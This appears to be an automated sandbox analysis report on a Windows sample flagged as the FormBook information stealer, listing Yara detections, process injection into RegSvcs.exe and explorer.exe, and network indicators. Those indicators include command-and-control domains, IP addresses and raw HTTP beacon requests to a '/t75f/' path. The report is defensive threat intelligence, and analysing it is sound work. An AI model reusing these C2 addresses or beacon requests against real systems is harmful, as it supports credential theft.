Source: Yara match	File source: 00000006.00000002.390330954.0000000000A20000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.282500066.000000000409E000.00000004.00000001.sdmp, type: MEMORY

Source: 6.2.RegSvcs.exe.400000.0.unpack

Avira: Label: TR/Crypt.ZPACK.Gen

Source: TPJX2QwEdXs5sTV.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED

Source: TPJX2QwEdXs5sTV.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: RegSvcs.pdb, source: cmd.exe, 00000017.00000002.521600812.0000000003AB7000.00000004.00020000.sdmp
Source:	Binary string: wntdll.pdbUGP source: RegSvcs.exe, 00000006.00000002.390723041.000000000105F000.00000040.00000001.sdmp, cmd.exe, 00000017.00000002.518459422.000000000369F000.00000040.00000001.sdmp
Source:	Binary string: cmd.pdbUGP source: RegSvcs.exe, 00000006.00000002.391607663.0000000002EB0000.00000040.00020000.sdmp, cmd.exe, 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp
Source:	Binary string: wntdll.pdb source: RegSvcs.exe, cmd.exe
Source:	Binary string: RegSvcs.pdb source: cmd.exe, 00000017.00000002.521600812.0000000003AB7000.00000004.00020000.sdmp
Source:	Binary string: cmd.pdb source: RegSvcs.exe, 00000006.00000002.391607663.0000000002EB0000.00000040.00020000.sdmp, cmd.exe

Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_0087B89C GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPAX@Z,FindNextFileW,SetLastError,??_V@YAXPAX@Z,GetLastError,FindClose,	23_2_0087B89C
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_008868BA FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapReAlloc,FindNextFileW,FindClose,GetLastError,FindClose,	23_2_008868BA
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_0088245C FindFirstFileW,FindClose,memcpy,_wcsnicmp,_wcsicmp,memmove,	23_2_0088245C
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_008931DC FindFirstFileW,FindNextFileW,FindClose,	23_2_008931DC
Source: C:\Windows\SysWOW64\cmd.exe	Code function: 23_2_008785EA memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,	23_2_008785EA

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 4x nop then pop edi

6_2_004162C7

Networking:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: www.ice-lemon.pro
Source: C:\Windows\explorer.exe	Domain query: www.indianadogeavaxsite.site
Source: C:\Windows\explorer.exe	Domain query: www.munortiete.com
Source: C:\Windows\explorer.exe	Domain query: www.pierrot-bros.com
Source: C:\Windows\explorer.exe	Network Connect: 54.194.41.141 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 172.67.147.111 80	Jump to behavior

Performs DNS queries to domains with low reputation

Show sources

Source:

DNS query: www.fanpaixiu.xyz

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

URLs: www.438451.com/t75f/

Source: global traffic	HTTP traffic detected: GET /t75f/?IL3h=sM7Ty9CQqazxDsp1L2wp1X0yz6j8iZQMubl0W4soZskD9oW6nOghj7d5yalvsy0iKmR0GSiRBw==&_hN0=5jFT8RbH3tHLZn HTTP/1.1Host: www.indianadogeavaxsite.siteConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /t75f/?IL3h=1LVEWTKjgk7dQQTcgX7ekf6vWGvALEiRfuym9xfNfV6ZlhpaQ60NuXtsMiMogZeeqS9jy4XPVA==&_hN0=5jFT8RbH3tHLZn HTTP/1.1Host: www.munortiete.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.247036337.000000000603B000.00000004.00000001.sdmp	String found in binary or memory: http://en.w
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.246382239.000000000603B000.00000004.00000001.sdmp, TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp	String found in binary or memory: http://fontfabrik.com
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.246270583.000000000603B000.00000004.00000001.sdmp	String found in binary or memory: http://fontfabrik.comj
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.253864499.0000000006043000.00000004.00000001.sdmp	String found in binary or memory: http://www.ascendercorp.com/typedesigners.htmlh
Source: explorer.exe, 00000008.00000000.308790689.0000000006870000.00000004.00000001.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.252524764.000000000603B000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.com
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.252313565.000000000603B000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.com)
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.252658676.000000000603B000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.com-se
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.252524764.000000000603B000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.com0
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.252560675.000000000603B000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.com?
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.252833728.000000000603B000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.comMic
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.252658676.000000000603B000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.comTCd
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.252524764.000000000603B000.00000004.00000001.sdmp, TPJX2QwEdXs5sTV.exe, 00000001.00000003.252658676.000000000603B000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coma
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.252394694.000000000603B000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.comak
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.252349501.000000000603B000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.comd
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.252876215.000000000603B000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.comexc
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp, TPJX2QwEdXs5sTV.exe, 00000001.00000003.252434713.000000000603B000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.252524764.000000000603B000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml-g
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.252560675.000000000603B000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml-se
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.252524764.000000000603B000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.como._
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.252225171.000000000603B000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.comof
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.252225171.000000000603B000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.comona
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.252524764.000000000603B000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.comue
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.252876215.000000000603B000.00000004.00000001.sdmp	String found in binary or memory: http://www.carterandcone.comypoC
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp, TPJX2QwEdXs5sTV.exe, 00000001.00000003.257664415.0000000006041000.00000004.00000001.sdmp, TPJX2QwEdXs5sTV.exe, 00000001.00000003.257568508.0000000006041000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.256412762.0000000006041000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.256690000.0000000006041000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/0
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.258643842.000000000605E000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.html
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.258643842.000000000605E000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlo
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.258314127.000000000605E000.00000004.00000001.sdmp, TPJX2QwEdXs5sTV.exe, 00000001.00000003.258167734.0000000006041000.00000004.00000001.sdmp, TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.258749887.000000000603B000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers0.
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.258749887.000000000603B000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers3
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.259100620.000000000603B000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersD
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.256499107.0000000006041000.00000004.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersH
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp	String found in binary or memory: http://www.fonts.com
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.251577185.000000000603B000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.251297242.000000000603B000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn(
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.251510361.0000000006040000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.251577185.000000000603B000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn0
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.251577185.000000000603B000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cncom
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.251577185.000000000603B000.00000004.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cnicr
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.262778713.000000000603B000.00000004.00000001.sdmp, TPJX2QwEdXs5sTV.exe, 00000001.00000003.260576945.000000000603B000.00000004.00000001.sdmp, TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.250819017.000000000603B000.00000004.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kX
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.250685229.000000000603B000.00000004.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kr-cY
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.250819017.000000000603B000.00000004.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.krV
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.260424917.000000000603B000.00000004.00000001.sdmp	String found in binary or memory: http://www.monotype.
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.245363117.0000000006022000.00000004.00000001.sdmp, TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.245363117.0000000006022000.00000004.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.comt
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp	String found in binary or memory: http://www.sakkal.com
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.253704425.0000000006043000.00000004.00000001.sdmp	String found in binary or memory: http://www.sakkal.com3
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.253864499.0000000006043000.00000004.00000001.sdmp	String found in binary or memory: http://www.sakkal.com9
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.250514753.000000000603B000.00000004.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kra-e#
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp, TPJX2QwEdXs5sTV.exe, 00000001.00000003.252797134.000000000603B000.00000004.00000001.sdmp	String found in binary or memory: http://www.tiro.com
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.252833728.000000000603B000.00000004.00000001.sdmp	String found in binary or memory: http://www.tiro.comw
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp	String found in binary or memory: http://www.typography.netD
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.259240750.0000000006047000.00000004.00000001.sdmp, TPJX2QwEdXs5sTV.exe, 00000001.00000003.256166829.0000000006041000.00000004.00000001.sdmp	String found in binary or memory: http://www.urwpp.de
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.256226500.0000000006041000.00000004.00000001.sdmp	String found in binary or memory: http://www.urwpp.deA
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000002.284564270.0000000007232000.00000004.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.252145677.000000000603B000.00000004.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn0
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.252145677.000000000603B000.00000004.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cncom
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.252524764.000000000603B000.00000004.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cnk
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.252145677.000000000603B000.00000004.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cno.E
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.252524764.000000000603B000.00000004.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cno.U
Source: TPJX2QwEdXs5sTV.exe, 00000001.00000003.252145677.000000000603B000.00000004.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cnue
Source: cmd.exe, 00000017.00000002.521651760.0000000003C32000.00000004.00020000.sdmp	String found in binary or memory: https://www.438451.com/t75f/?IL3h=1BeMm2dWByn9xv9J99R2XzKkk0MJMO8GKUMNYM3ZZNvYMz7ACarE0KIXHaUrAW4HLV

Source: unknown

DNS traffic detected: queries for: www.ice-lemon.pro

Source: global traffic	HTTP traffic detected: GET /t75f/?IL3h=sM7Ty9CQqazxDsp1L2wp1X0yz6j8iZQMubl0W4soZskD9oW6nOghj7d5yalvsy0iKmR0GSiRBw==&_hN0=5jFT8RbH3tHLZn HTTP/1.1Host: www.indianadogeavaxsite.siteConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /t75f/?IL3h=1LVEWTKjgk7dQQTcgX7ekf6vWGvALEiRfuym9xfNfV6ZlhpaQ60NuXtsMiMogZeeqS9jy4XPVA==&_hN0=5jFT8RbH3tHLZn HTTP/1.1Host: www.munortiete.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: TPJX2QwEdXs5sTV.exe, 00000001.00000002.280628910.0000000001448000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

Yara detected FormBook

Show sources

Source: Yara match	File source: 6.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.TPJX2QwEdXs5sTV.exe.4175e30.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000000.342627286.000000000E077000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.514970004.0000000002D90000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.390262569.00000000009D0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.512368731.0000000000940000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000000.321761934.000000000E077000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.389976608.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.513972990.00000000029D0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.282361714.0000000003FA9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.390330954.0000000000A20000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.282500066.000000000409E000.00000004.00000001.sdmp, type: MEMORY

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 6.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 1.2.TPJX2QwEdXs5sTV.exe.4175e30.1.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 1.2.TPJX2QwEdXs5sTV.exe.4175e30.1.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 6.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000008.00000000.342627286.000000000E077000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000000.342627286.000000000E077000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000017.00000002.514970004.0000000002D90000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000017.00000002.514970004.0000000002D90000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.390262569.00000000009D0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.390262569.00000000009D0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000017.00000002.512368731.0000000000940000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000017.00000002.512368731.0000000000940000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000008.00000000.321761934.000000000E077000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000000.321761934.000000000E077000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.389976608.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.389976608.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000017.00000002.513972990.00000000029D0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000017.00000002.513972990.00000000029D0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.282361714.0000000003FA9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.282361714.0000000003FA9000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.390330954.0000000000A20000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.390330954.0000000000A20000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000001.00000002.282500066.000000000409E000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000001.00000002.282500066.000000000409E000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

Source: TPJX2QwEdXs5sTV.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED

Source: 6.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.TPJX2QwEdXs5sTV.exe.4175e30.1.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 1.2.TPJX2QwEdXs5sTV.exe.4175e30.1.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 6.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 6.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000008.00000000.342627286.000000000E077000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000008.00000000.342627286.000000000E077000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000017.00000002.514970004.0000000002D90000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000017.00000002.514970004.0000000002D90000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.390262569.00000000009D0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.390262569.00000000009D0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000017.00000002.512368731.0000000000940000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000017.00000002.512368731.0000000000940000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
